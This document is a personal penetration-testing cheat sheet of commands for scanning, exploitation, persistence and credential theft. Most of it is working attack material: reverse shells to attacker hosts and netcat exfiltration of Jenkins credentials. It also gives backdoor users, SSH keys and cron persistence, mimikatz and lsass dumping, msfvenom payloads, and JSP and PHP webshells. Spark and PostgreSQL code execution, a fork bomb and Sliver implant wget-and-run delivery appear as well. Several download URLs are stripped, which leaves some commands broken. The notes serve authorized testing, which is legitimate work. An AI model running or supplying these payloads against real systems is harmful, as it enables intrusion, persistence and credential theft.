Pentesting notes and snippets



Host discovery via Ping Sweeping

nmap -sn -oA onlineHosts <ip range>/<subnet mask>

-sn: Use ping scan for host discovery (don't run a port scan)
-oA: Store output in normal, XML, and grepable file formats

Host discovery while skipping ping checks

Use this when targets don't respond to ping:

nmap -Pn <target ip>

-Pn: Skips the host discovery phase, and scans all addresses as if the system(s) were alive and responding to pings. -- use when scanning an internet facing system


Typical methodology

After discovering what hosts are responding, you'll want to know what ports they're exposing:

nmap -sS -p- <target ip>

-sS: SYN scan. Default choice, faster than TCP connect. Does not complete the three way handshake, making it more stealthy. However, IPS/IDS and firewalls will detect and report a SYN scan.

-p-: Scan all 65535 ports - shorthand for -p 1-65535

You can follow this with version and OS enumeration:

sudo nmap <target ip> -sV --version-intensity 9 -O

-sV: Service version detection
--version-intensity: Used in conjunction with -sV to help identify running services. The number ranges between 0-9. The higher the number, the more likely a service is to be properly identified. However, higher numbers also make scan times longer. Default number is 7.

Encompass all of the basic port scan behavior

Just use -A:

sudo nmap -A -p- -v <target ip>

-A: Enables OS detection, service version detection, script scanning, and traceroute
-v: Increase verbosity of output

TCP Connect Scan

Full three way handshake, not as fast as SYN scan and noisier. Considered most stable, and has least chance to crash the target.

nmap -sT -p- -Pn <ip address>

-sT: Run a TCP connect scan

Detailed scan

nmap -T4 -A -v -oA detailedScanResults <ip range>/subnet<mask>

-T4: Aggressive
-oA: Store output in normal, XML, and grepable file formats

Single host TCP scan:

nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -T4 -p- -oX <output filename>.xml <target>

Parse all ports out of xml output

Output will be returned as a comma separated list

cat <file>.xml | grep portid | grep protocol=\"tcp\" | cut -d'"' -f4 | paste -sd "," -

Detailed single host TCP scan:

Run this after running the above single host TCP scan.

nmap -nvv -Pn -sSV -T1 -p$(cat <file from single host tcp scan>.xml | grep portid | grep protocol=\"tcp\" | cut -d'"' -f4 | paste -sd "," -) --version-intensity 9 -A -oA <output filename DETAILED> <target>

-n: No DNS resolution on the IP addresses
-sSV: SYN scan and service version detection (-s is used to specify a scan type and the uppercase letters that follow are the parameters)

Single host UDP scan:

nmap -Pn --top-ports 1000 -sU --stats-every 3m --max-retries 1 -T3 -oA <output filename> <target>

-sU: Discover services using UDP. Very slow, can take 20-30 minutes for 1000 ports.



Single target as command line arg

Run from docker container, output results to ~/EyeWitness/results:

docker run --rm -it -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -v ~/EyeWitness:/tmp/EyeWitness eyewitness --single --headless

Read targets out of a file

  1. Put your targets in ~/EyeWitness/urls.txt
  2. Run the following command:
docker run --rm -it -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -v ~/eyewitness:/tmp/EyeWitness eyewitness -f /tmp/EyeWitness/urls.txt --headless
  1. The Results will be in ~/EyeWitness/results.


Responder can be a great tool to collect password hashes, and give you a starting point for gaining access to a system on the network.

Here's one such scenario:


Handle multiple reverse nc shells

go get
cd go/src/
go run platypus.go

To configure the listener to listen on port 8080:

run 8080

To list sessions:


This will give you a list of current sessions. Each has a unique hash that you need to copy if you want to interact with a given session.

To interact with a session:

jump <hash of session>

To exit a session back to playpus:


Repo of project:

Reverse shell payload

bash -i >& /dev/tcp/<attack machines ip address>/8080 0>&1

Reverse shell in Scala:

import sys.process._
"nc -e /bin/sh 8080" !!;

Once you have the shell, run the following for a full fledged shell:

python -c 'import pty;pty.spawn("/bin/bash")'

Some other nice ways to "upgrade" your netcat shell:

Very helpful resource for testing:

Mount NFS share

  1. Create folder to use for share:
mkdir -p nfs/some_great_share_name
  1. Install packages needed for debian:
apt install -y nfs-common cifs-utils
  1. Start services required:
service rpcbind start
  1. Mount the share:
mount -t nfs <target system with mount ip or hostname>:/some_great_share_name -o rw,nfsvers=2 nfs/some_great_share_name
  1. Unmount the share when done:
umount nfs/some_great_share_name

Interesting things to try:

  1. See if you can edit .profile or .bashrc or .bash_profile, etc. in a users home directory.

  2. See if there is an authorized_keys file in any of the users home directories. If so, you might be able to get a backdoor:

find . -name "authorized_keys" 2>/dev/null

Post Exploitation


Drop backdoor ssh key

  1. Create an ssh key on the attackers system by following the instructions on this page under Create SSH Key.
  2. Add the contents of the public key to the victims ~/.ssh/authorized_keys file (or create one if it doesn't already exist)
  3. If you created an authorized_keys file previously, make sure to run chmod 0600 ~/.ssh/authorized_keys
  4. You can then use the private key to access the target system: ssh -i /path/to/private/key


Bonus points if you're able to do this with a nfs mounted home directory (you'll get a lot more bang for your buck)

Monitor processes

chmod +x pspy32s && ./pspy32s


Take screenshot

# Requires imagemagick
# sudo apt install -y imagemagick
DISPLAY=:0 import -silent -window root /var/tmp/.tmp

Ask for creds

DISPLAY=:0 gksudo -p -m "Enter your password to apply changes."


Access a user's env

This is incredibly useful when you find that users are storing credentials in their environment variables.
sudo su - <username>

Search for config files which may have cleartext passwords in them:

# This command works on linux and OSX
du -a $directory | awk '{print $2}' | grep '\.conf$'

Netcat reverse shell without -e

Create listener:
nc -lvp [port]

On the victim:

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc [attacker] [port] 1>/tmp/backpipe


Transfer file via netcat

On host to receive file:

nc -lvp [some port] > .evil.file

On host to send file

nc -w 3 [host receiving file] [some port] < evil.file

If the file is a reverse shell be sure to make it an executable on the system:

chmod +x .evil.file


Add user with no password to sudoers



Introduce backdoor user

# Create evil user
useradd evil -s /bin/bash -m
# Change evil user's password
echo -e "evilpass\nevilpass" | passwd evil
# Add evil user to sudoers
echo 'evil ALL=(ALL:ALL) ALL' >> /etc/sudoers
# Give evil user ssh access
echo -e "PasswordAuthentication yes\nAllowUsers evil" >> /etc/ssh/sshd_config

To delete the backdoored user:

# Delete evil user
userdel evil
# Delete evil user from sudoers
sed -i '/evil ALL=(ALL:ALL) ALL/d' /etc/sudoers
# Delete evil user from ssh access
sed -i '/^PasswordAuthentication yes/d' /etc/ssh/sshd_config && sed -i '/^AllowUsers evil/d' /etc/ssh/sshd_config


Find misconfigurations, files with open permissions, etc.
Video Reference

Download it:

wget -O /tmp/


Download and run, save output to a file, and clean up (standard):

wget && cd /tmp && tar -xvf unix-privesc-check-1.4.tar.gz && bash /tmp/unix-privesc-check-1.4/unix-privesc-check standard | tee /tmp/output2.txt && rm /tmp/unix-privesc-check-1.4.tar.gz && rm -rf /tmp/unix-privesc-check-1.4


Download and run, save output to a file, and clean up (detailed):

wget && cd /tmp && tar -xvf unix-privesc-check-1.4.tar.gz && bash /tmp/unix-privesc-check-1.4/unix-privesc-check detailed | tee /tmp/output2.txt && rm /tmp/unix-privesc-check-1.4.tar.gz && rm -rf /tmp/unix-privesc-check-1.4


Another good one to find misconfigurations, files with open permissions, etc.

Download it:

wget -O /tmp/


Download and run linenum, save output to a file:

wget -O /tmp/ && bash /tmp/ | tee /tmp/output.txt

Linux Exploit Suggester

wget --no-check-certificate -O /tmp/ && bash /tmp/ | tee /tmp/les.txt &


Grab it:

curl | sh

Run it and send the output to a file:

linpeas -a > /dev/shm/linpeas.txt


Download and run, save output to a file:

wget --no-check-certificate -O /tmp/ && python /tmp/ | tee /tmp/output1.txt

If there are services running as privileged user, try to find existing exploits.

Good linux post exploitation resources

This is a fantastic cheatsheet with a number of privesc resources:

Who has logged in previously?

who, w, last -F

Are you in the sudoers file?

sudo -l, cat /etc/sudoers

Get network information, like open ports and their associated processes:

netstat -antup
lsof -i

Find programs with root privs:

find / -perm -04000 > programsWithRootAccess.txt

Screenshot the targets screen when you're ssh'ed into a system:

DISPLAY=:0 import -window root screenshot.jpg


SUID Executables

Look for SUID files:

find / -perm -u=s -type f 2>/dev/null


Ask for creds

$credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your username and password.", "$env:username","NetBiosUserName")
$credential.Password | ConvertFrom-SecureString


Change columns in Process Explorer

Right click an existing column and click Select Columns

Bypass LSA Protection

You can view protected processes using Process Explorer by looking at the Protection column. To bypass it, you can use a tool called PPLKiller:

git clone

Next, open PPLKiller.sln with Visual Studio 2019 on a Windows machine and build a release binary.

You will also need to include a driver from a sketchy site, so be sure to do that before zipping up PPLKillerx64.exe for delivery to your target.

Once it's uploaded, extract and run it:

Expand-Archive -Path C:\temp\ -DestinationPath C:\temp\PPLKiller
cd C:\Temp\PPLKiller
.\PPLKillerx64.exe /installDriver
.\PPLKillerx64.exe /disableLSAProtection
# Open Process Explorer and observe that lsass.exe is no longer protected
.\PPLKillerx64.exe /uninstallDriver

with this out of the way, you can run mimikatz.

Dump creds with mimikatz

sekurlsa::logonPasswords full

Lsass dump

If you are dealing with LSA protection and you just want to do an lsass dump, you'll want a tool called PPLdump:

git clone

Next, open PPLDump.sln with Visual Studio 2019 on a Windows machine and build a release binary.

Create a zip that includes the binary along with the DLL you'll need (this is architecture specific). For example, if your target is x64, your zip should have:


Once everything is in place on your target, you can run the following to do an Lsass dump:

.\PPLDump-64.exe -v lsass.exe .\lsass.dmp
sekurlsa::minidump lsass.dmp

Meterpreter specific:

Cracking hashes

Identify what type of hash it is with Hash ID. Once you've done this, crack it with hashcat, john, etc.

For cracking hashes in /etc/shadow


Hashcat cheatsheet (2).pdf?dl=0

Using john with an SSH key that has a pw

Use to take the private key and use it to create a format that john can use:

# Assuming we are in the current directory for John
./run/ privateKey > john_ssh_fmt.txt
./run/john john_ssh_fmt.txt --wordlist=wordlist_to_use_for_pw.txt


Lateral Movement

Hijacking SSH with Master Mode

Copy this into ~/.ssh/config for a given compromised user:

Host *
ControlMaster auto
ControlPath ~/.ssh/sockets/ssh-%r@%h:%p
ControlPersist yes

Also run this command:

mkdir ~/.ssh/sockets

Now you simply need to wait for the compromised user to ssh to another host. Once this happens, you should be able to ssh to that system without a password as that user.



Exposed Docker Daemon via TCP

If you find port 2375 open on a system, that means that someone probably ran a command like this one:

docker run -it --name=please_do_not_do_this -H tcp:// ubuntu

Which means that you can try to run arbitrary docker commands:

docker -H tcp://<ip of target>:2375 <docker command>

For example, to list the containers on that system:

docker -H tcp://<ip of target>:2375 ps -a

To connect to an existing container:

docker -H tcp://<ip of target>:2375 exec -it <target container> /bin/bash

To create and run a container with the host's root volume mounted:

docker -H tcp://<ip of target>:2375 run --rm -it -v /:/host ubuntu:latest chroot /host /bin/bash

To avoid having to load up a new image (assuming ubuntu:latest isn't already installed), use docker -H tcp://<ip of target>:2375 image ls to find an existing image to use.

Docker Daemon exposed to other containers

Even if the docker daemon is only exposed to other other containers, you can still take advantage of it if you compromise a container.

This vulnerability is introduced by running a command like this one:

docker run -it --name=really_freaking_vulnerable_ubuntu -v /var/run/docker.sock:/var/run/docker.sock ubuntu

To test it:

# Check if you have write access:
ls -lart /var/run/docker.sock
srw-rw---- 1 root root 0 May  6 05:25 /var/run/docker.sock

Install docker:

# Ubuntu or Debian
apt update && apt install -y wget && wget -qO- | sh

Once that's installed, find an image to use with docker images, or use something simple like ubuntu:latest:
docker run -it -v /:/host <docker image to use> chroot /host /bin/bash

Alternatively, you can use the docker socket to avoid installing docker:

# Get images
curl --unix-socket /var/run/docker.sock http://docker/images/json
# Get containers
curl --unix-socket /var/run/docker.sock http://docker/containers/json

Proof of concept for exploitation:

However, this will still need to be done as the root user.


Find secrets in images

Run this to get output from the original Dockerfile:

docker history --no-trunc <image name>

You can check the output for secrets that were in it.



Test out of bound code execution with tcpdump

Use this:
tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -vv
in conjuction with a ping command.

Enable ssh on Kali

In /etc/ssh/sshd_config change PermitRootLogin without-password to PermitRootLogin yes

Command line vnc viewer on kali

vncviewer [target]::[vnc port]

Crash system as normal user with fork bomb

forkbomb(){ forkbomb | forkbomb & }; forkbomb


Getting a shell on a PostgreSQL DB running on Linux if you have the proper access and permissions

Start by setting up a listener:

nc -lvp 8080

Connect to the postgresql DB:

psql -h <ip with db> -U <db username>

Review the access your user has with the \du command. Alternatively, you can go in blind and run a quick test (or run a test after you've established you have the proper access and permissions to do so):


This should give you the working directory the database is running on if all went well.

Next, get your reverse shell loaded up:

CREATE OR REPLACE FUNCTION exec() RETURNS text AS $BODY$ BEGIN DROP TABLE IF EXISTS bDGhLsYPcd; CREATE TEMP TABLE bDGhLsYPcd (INPUT TEXT); COPY bDGhLsYPcd FROM PROGRAM 'echo "bash -i >& /dev/tcp/<attack machines ip address>/8080 0>&1" >> /tmp/'; RETURN NULL; END; $BODY$ LANGUAGE plpgsql; SELECT * FROM exec(); SELECT * FROM bDGhLsYPcd;

Execute it:


You should have your shell.

Getting around "su: must be run from a terminal"

python -c 'import pty;pty.spawn("/bin/bash")'

Getting a shell on a Jenkins box running on Linux or OS X with access to the groovy console

Start by setting up a listener:

nc -lvp 8080

Set up a webserver using nginx, XAMPP, etc. and host a payload that could look something like this:

bash -i >& /dev/tcp/<attackers ip>/8080 0>&1

Download your reverse shell payload:

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "curl http://<attackers ip>/ --output /tmp/shell".execute()
# You could also use wget
# def proc = "wget http://<attackers ip>/ -O /tmp/shell".execute()
# Use --proxy=off with wget if your proxy is messing with your ability to get that code
proc.consumeProcessOutput(sout, serr)
println "out&gt; $sout err&gt; $serr"

Make sure your payload is on the target system:

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "ls /tmp".execute()
proc.consumeProcessOutput(sout, serr)
println "out&gt; $sout err&gt; $serr"

Run the payload:

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "bash /tmp/shell".execute()
proc.consumeProcessOutput(sout, serr)
println "out&gt; $sout err&gt; $serr"

You should have your shell.

If /script is not accessible, but /computer is

  1. Go to one of the listed nodes
  2. Select one of the projects
  3. Click Script Console on the left

Jenkins on Windows

Shout out to Nick Georgieff for figuring this one out.

Quick test on the groovy console:
println '"'powershell -command "ls"'.execute().text

Once you've verified that is working, switch gears to get a meterpreter session going.

To setup the handler, start by creating an rc file so you don't need to type the commands into msfconsole every time to interact with your payload.

Create the file:
touch windows_rev_powershell_listener.rc

In windows_rev_powershell_listener.rc:

use exploit/multi/handler
set PAYLOAD cmd/windows/reverse_powershell
set LHOST <host running metasploit>
set LPORT 445
set ExitOnSession false
exploit -j -z

Run the rc file:
msfconsole -r windows_rev_powershell_listener.rc

Connect to handler from the groovy console:

String host="<host running metasploit>";
int port=445;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

At this point, you should have a meterpreter session.

Stealing credentials from Jenkins

  1. Locate the credentials file:
find / -name "credentials.xml" 2>/dev/null
  1. Find a password in the file and copy it.

In the groovy console:



Alternatively, you can also use after pulling down the master.key, hudson.util.Secret, and credentials.xml file.

Exfil the files via cli

On the victim, run:

nc -w3 [attacker IP] 5000 < credentials.xml

On the attacker:

nc -l -p 5000 > credentials.xml

Do this for the rest of the files (master.key, hudson.util.Secret)


Stealing creds via Job Import plugin

  1. If you see Job Import Plugin in the web UI, click it.
  2. If you have the Job/Create permission, you should be able to specify a Remote Jenkins URL and a credential
  3. Specify your system as the remote jenkins url, i.e.
  4. Choose the credential you want to steal
  5. Open a listener on the attacker's system: nc -lvp 8080
  6. Decode output for credentials that comes from the Authorization header: cat <base64 output> | base64 --decode

Jenkins Post Exploitation

If you get a shell on a jenkins system, be sure to check if there is a /jobs folder in the jenkins directory. If so, be sure to go through the various subfolders and steal any config.xml files with a <passsword> field. You can use the same trick as above to decrypt the credentials, replacing the credentials.xml with config.xml.


Run exploit in the background:
exploit -j
Do not interact with a session after successful exploitation of a target:
exploit -z
You can combine them:
exploit -j -z
Persist listener if a meterpreter session dies:
set ExitOnSession false



msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=4444 -f macho > notEvil.macho

RC Script:

use exploit/multi/handler
set PAYLOAD osx/x64/meterpreter_reverse_tcp
set LHOST <Your IP Address>
set LPORT 4444
set ExitOnSession false
exploit -j -z



msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

To persist the file once you've uploaded it to your target in ~/.bashrc:

echo "~/.evil.file &" >> ~/.bashrc

For good measure, throw up a cronjob for every 5 minutes as well:

# write out current crontab
crontab -l > mycron
# echo new cron into cron file
echo "*/5 * * * * ~/.evil.file" >> mycron
# install new cron file
crontab mycron
rm mycron


Create and run listener

Create linux_rev.rc file:

use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST [listener ip]
set ExitOnSession false
exploit -j -z

Run it:

msfconsole -r linux_rev.rc

64-bit exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=4444 -f exe -o evil.exe


msfvenom -p windows/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=445 -f exe -o friendly.exe


Useful when you need a running service, like for unquoted service path vulnerabilities.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=445 -f exe-service -o friendly.exe

PHP Reverse shell payload

msfvenom -p php/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=4444 -e php/base64 -f raw > evil_file.php && sed -i '1s/^/<?php\n/' evil_file.php && sed -i -e '$a\?>' evil_file.php

Non MSF PHP reverse shell

php -r '$sock=fsockopen("ATTACKER_IP",ATTACKER_PORT);exec("/bin/sh -i <&3 >&3 2>&3");'


PHP bind payload

msfvenom -p php/meterpreter/bind_tcp LPORT=4444 > msf_bind_shell.php

After starting the listener, upload the php code to the target server. Be sure to replace the /*<?php /**/ with <?php at the top of the file, and replace the % at the end of the file with ?>.

Once the file is uploaded, open the file on the target server. Follow this with an exploit in metasploit.

Evil encoded x64 aspx shell

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=4444 -e x64/xor -f aspx > shell64.aspx

Jar reverse shell

msfvenom -p java/meterpreter/reverse_tcp LHOST=<local host ip> -f raw -o /tmp/java.jar

Start listener:

use exploit/multi/handler
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST <local host ip>
set ExitOnSession false
exploit -j -z


Powershell payload

msfvenom -p cmd/windows/reverse_powershell LHOST=<local host ip> LPORT=445 -o friendly.bat

Start listener:

use exploit/multi/handler
set PAYLOAD cmd/windows/reverse_powershell
set LHOST <local host ip>
set LPORT 445
set ExitOnSession false
exploit -j -z

Copy the evil code:

# On the linux machine
cat friendly.bat

Start powershell on victim:


Paste the evil code into the powershell terminal, or create a .bat file and run it.

Bash Reverse shell

exec 5<>/dev/tcp/<evil ip>/4444;cat <&5 | while read line; do $line 2>&5 >&5; done 

Another similar option:

exec 5<>/dev/tcp/<evil ip>/4444;while read line 0<&5; do $line 2>&5 >&5; done


bash -i >& /dev/tcp/<evil ip>/4444 0>&1

Netcat reverse shell

On evil server: nc -lvp <port>
On victim: nc <evil server> <port> -e sh &

Resource: docker start -ai

Create RC Listener

You can create an rc file so you don't need to type the commands into msfconsole every time to interact with your payload.

Create the file:

touch listener.rc

In listener.rc:

use exploit/multi/handler
set payload <payload>
set LHOST <host running metasploit>
set LPORT <port>
set ExitOnSession false
exploit -j -z

Run the rc file:

msfconsole -r listener.rc

Capture NTLM Hash with Metasploit

Start the smb capture server:

use auxiliary/server/capture/smb

Get victim to connect via smb.
If they need help via phish and they're on a mac, have them open Finder, Command+k, and then type in the following:

smb://<evil server ip>

Making Firefox horribly insecure for quick and dirty proof of concepts

  1. Browse to about:config
  2. Type in security.file
  3. Double click

This will disable the same origin policy blocks.

  1. Browse to about:config
  2. Type in security.file
  3. Double click

This will disable the "this connection is not secure" messages.

  1. Browse to about:config
  2. Type in mixed
  3. Double click security.mixed_content.block_active_content

This will disable the block active content lock.

Obviously you want to undo these changes once you've finished your POC's.

Find logs on a linux system

find . -type f -name "*.log"

Adobe Captivate Quiz Reporting Feature 'internalServerReporting.php' File Upload RCE Webshell

Using Burp, intercept a GET request to the target and throw it into repeater. Next, right click and Change request method to POST.

Here's what the request should look like:

POST /internalServerReporting.php HTTP/1.1
Host: <target running adobe captivate>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, sdch
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 201


	echo "<pre>";
	$cmd =($_REQUEST['cmd']);
	echo "</pre>";


Once you've sent it and gotten a 200 back, you can access the web shell like so:

http://<target running adobe captivate>/CaptivateResults/test.php?cmd=<your command to run>

Don't forget to clean it up when you're done:

http://<target running adobe captivate>/CaptivateResults/test.php?cmd=del test.php

With Metasploit:
Create the payload:

msfvenom -p php/meterpreter/bind_tcp LPORT=4000 > backdoor.php
In php_listener.rc:

use exploit/multi/handler
set payload <payload>
set LHOST <host running metasploit>
set LPORT 4444

Run the rc file:

msfconsole -r php_listener.rc

Upload the php code to the target server. I made sure to replace the /*<?php /**/ with <?php at the top of the file, and replaced the % at the end of the file with a ?> before doing so with Burp repeater.

Once the file is uploaded, open the file on the target server. Follow this with an exploit in metasploit.

You should have a shell at this point.

Maybe give this a shot


A couple of things to try below.

# whoami
# create user && add to Administrators
net user <username> <password> /ADD
net localgroup Administrators <username> /ADD
# list local admins
net localgroup administrators
# Look for passwords in txt, xml && xls files
findstr /si password *.txt| *.xml| *.xls
# Show open ports
netstat -bano
# Get list of domain admins
net group "Domain Admins" /domain

Enumerate missing patches on a windows machine with msf


Check for weak service permissions with accesschk (part of sysinternals)

Video reference

Information on how to download sysinternals using powershell can be found here.

accesschk.exe -qwcu "Authenticated Users" * /accepteula
accesschk.exe -qwcu "Users" * /accepteula
accesschk.exe -qwcu "Everyone" * /accepteula

Once one has been found, modify the binpath to point to the net user bin to create a rogue user:

sc config <vuln service> binpath= "net user <username> <password> /add"

Restart it:

sc start <vuln service>

Add that user to the administrators group:

sc config <vuln service> binpath= "net localgroup administrators <username> /add"

Restart it again:

sc start <vuln service>

Check for weak file permissions with accesschk (part of sysinternals)

Video reference

Information on how to download sysinternals using powershell can be found here.

accesschk.exe -qwsu "Authenticated Users" * /accepteula
accesschk.exe -qwsu "Users" * /accepteula
accesschk.exe -qwsu "Everyone" * /accepteula

Always install elevated privilege escalation

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Use metasploit if they set to exploit:

use exploit/windows/local/always_install_elevated
set LPORT 443

Use sessiongopher to find saved session info for RAT's

Grab it:

(New-Object System.Net.WebClient).DownloadFile("","C:\Temp\SessionGopher.ps1")

Run it:

Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Thorough

Ghetto Windows WGET using cmd

bitsadmin /transfer myDownloadJob /download /priority normal http://<evil server>/evil.exe c:\temp\evil.exe

Upload stuff to a Windows machine via RDP

Kali terminal:

rdesktop -r disk:ww=/path/to/folder/to/mount 


Install on Kali

sudo apt-get install -y powershell-empire

Create a listener

uselistener http
set Name test
set Host http://attacker.lab
set Port 6666

Create a stager

usestager windows/launcher_bat test

Interact with agent

interact <agent id>

POC creation

Unquoted Service Paths

Coldfusion resources



Reverse shell

Setup Listener:
nc -lvp 8888

Connect from OSX:
bash -i >& /dev/tcp/*attacker ip*/8888 0&>1

Setting up cloud cracking machine with Kali

Fix kali apt update issue

If apt-key adv --keyserver hkp:// --recv-keys 7D8D0BF6 isn't doing it, try wget -q -O - | apt-key add


Fix Burpsuite in Kali

Burp does not presently (8/3/2018 is when I'm writing this) support Java 10, which is the default java on Kali at this point in time. To fix this, simply run update-alternatives --config java and then select the number that corresponds to /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java from the menu.

Mount NFS share

Show available shares:
showmount -e target.system
Make a directory to house to contents of the share locally:
mkdir /tmp/target.system
Mount the NFS share locally:
mount -t nfs target.system:/mount/path /tmp/target.system
Dismount the NFS share:
umount -f -l /tmp/target.system


Code can be found here to list mounts and review their contents:


RCE with vulnerable endpoint in Apache Tomcat

If the /manager/text/deploy endpoint is exposed on an Apache Tomcat site, you can do the following to get a shell:

# Create a malicious webshell, index.jsp:
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
<%@ page import="*" %>
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
<pre><%=output %></pre>

# Turn it into a war file:
jar -cvf webshell.war index.jsp

# Upload it:
curl --upload-file webshell.war ""

# Access the webshell:

You can also get a file upload page going as well with the war file from here. Follow the steps above to deploy it, and find the file upload page at /UploadServlet30/upload.jsp.

Once you're finished, you can also remove the webshell with the following command:

curl ""


Fix hash mismatch issue when trying to install a package in Kali

Try another mirror from the official mirror list.

Replace the existing entry in /etc/apt/sources.list with this:
deb kali-rolling main non-free contrib


IDRAC to shell

Try logging into the web console with root/calvin.

If this works, go to the Virtual Console and:

  1. Change Plug-in Type to HTML5
  2. Change Default action upon session sharing request timeout to Full access
  3. Click Apply
  4. Then click Launch Virtual Console

If you are not able to login because there are existing sessions, you can kill them by doing the following:

  1. Click the plus sign next to iDRAC Settings
  2. Click Sessions
  3. Click the trash can icon next to the existing sessions

Once this is done, try logging in via the Virtual Console.

Brute force

SSH with Hydra

hydra ssh:// -v -L users.txt -t 4 -P 10-million-password-list-top-10000.txt


Basic auth page with Hydra

hydra -V -L <list with usernames to try> -P <list with passwords to try> <target site> http-get /<path to page with auth>

Start ASDM via CLI

javaws https://target:8443/admin/public/asdm.jnlp


Rogue LDAP server

This is very useful if you have an LDAP hookup that you're looking to extract credentials from, and nc -lvp 389 isn't working out.

Responder is also supposed to be able to do this, but I haven't had much luck with it.


If you find a spark master belonging to your target that's externally exposed, you might have RCE.

Exploitation via 7077

To start, stand up a box that will serve as a listener.

Next, clone this repo and run docker-compose up -d.

Next copy the bin folder that is generated in the docker container to your host system. This should have utilities such as spark-submit in it.

Next, run this command:

./bin/spark-submit --master spark://hostname:7077 --deploy-mode cluster --class Exploit 'wget listenerbox:portoobserviceison'

Exploitation via 6066

Set up a listener on a system you control:

python -m SimpleHTTPServer 9999


curl -X POST http://${target}/v1/submissions/create \
--header "Content-Type:application/json;charset=UTF-8" \
--data @<(cat <<EOF
  "action": "CreateSubmissionRequest",
  "clientSparkVersion": "${version}",
  "appArgs": [
  "appResource": "${jar_url}",
  "environmentVariables": {
  "mainClass": "Exploit",
  "sparkProperties": {
    "spark.jars": "${jar_url}",
    "spark.driver.supervise": "false",
    "": "Exploit",
    "spark.eventLog.enabled": "true",
    "spark.submit.deployMode": "cluster",
    "spark.master": "spark://${target}"

Next, run the following command:

bash sparkmaster:6066 <spark version - i.e. 2.2.0> "wget <ip of system running the listener>:9999"

Create a salted password hash for /etc/shadow

Run the following to generate the hash on your linux machine:

python3 -c 'import crypt; print(crypt.crypt("sickpasswordbro!", crypt.mksalt(crypt.METHOD_SHA512)))'



Dump all of the data from all of the indices

# Install the elasticdump tool
sudo npm install elasticdump -g

multielasticdump --direction=dump --input=https://target_es_node:target_es_node_port --output=target_es_node_dump --type=data


Sliver c2

Create server on AWS Ubuntu 20.04 instance

Start by getting the latest release:

wget $(curl -s | jq -r '.assets[].browser_download_url' | grep 'server_linux')

Next, install the required dependencies:

sudo apt-get install -y mingw-w64 binutils-mingw-w64 g++-mingw-w64

Next, unzip and run the server:

chmod +x sliver-server
sudo ./sliver-server

Generate HTTPS implant

You can get your public hostname with this command:



you can pull it from the EC2 Web UI, or use the aws cli tool, etc.

I like to create a folder to store the implants in, but this an option step if that's not for you:

mkdir implants

Note: You'll need to modify the commands below if you don't create this folder. If you have trouble with that, you maybe shouldn't be using this tool or hacking. You should learn some linux first.

Next, you can run this command to generate an implant. Here's an example for a linux target:

generate --http your_ec2_public_hostname --save implants/name_of_your_implant_file --skip-symbols --os linux

Note: You may not want to skip the symbols if you're being sneaky

Start HTTPS listener on 443

https -l 443

Transfer and run the implant

On the server, we can use simplehttpserver (make sure you security group is configured for 8080 inbound) to host the payload:

python3 -m http.server 8080

On the target, grab it:

wget http://your_ec2_public_hostname:8080/name_of_your_implant_file && chmod +x name_of_your_implant_file && ./name_of_your_implant_file'

If you're exploiting your target through a command injection attack of sorts, you may want to do something like this to grab and run it:

bash -c "cd /tmp && wget http://your_ec2_public_hostname:8080/name_of_your_implant_file && chmod +x name_of_your_implant_file && ./name_of_your_implant_file &"

Get a shell on your target

At this point you're back on your server. Now, this isn't great in terms of OpSec, but in the event you're doing a pentest and don't care about the noise:

sessions -i session_that_came_in

Note: session_that_came_in is probably 1, but I don't want to make any assumptions in case you have other sessions that you've been testing with.

Resources: - getting the latest release - wiki for the c2 - more complete example of how to use the c2

Mac OS mtls Implant generation

generate --mtls your_ec2_public_hostname --save implants/name_of_your_implant_file --skip-symbols --os mac

List implants


Delete implant

implants rm <name of implant from previous command>

List jobs


Show information about sessions

sessions -i <job id from previous command>

Get shell

Not great in terms of OpSec, but some of us have the luxury of not having to care about that at times:

sessions -i <job id from previous command>

Exit shell


Follow this with CTRL+d to get back to the c2 server menu


Download file

This example will download ubuntu's bash history file to the directory the server binary is in:

download /home/ubuntu/.bash_history

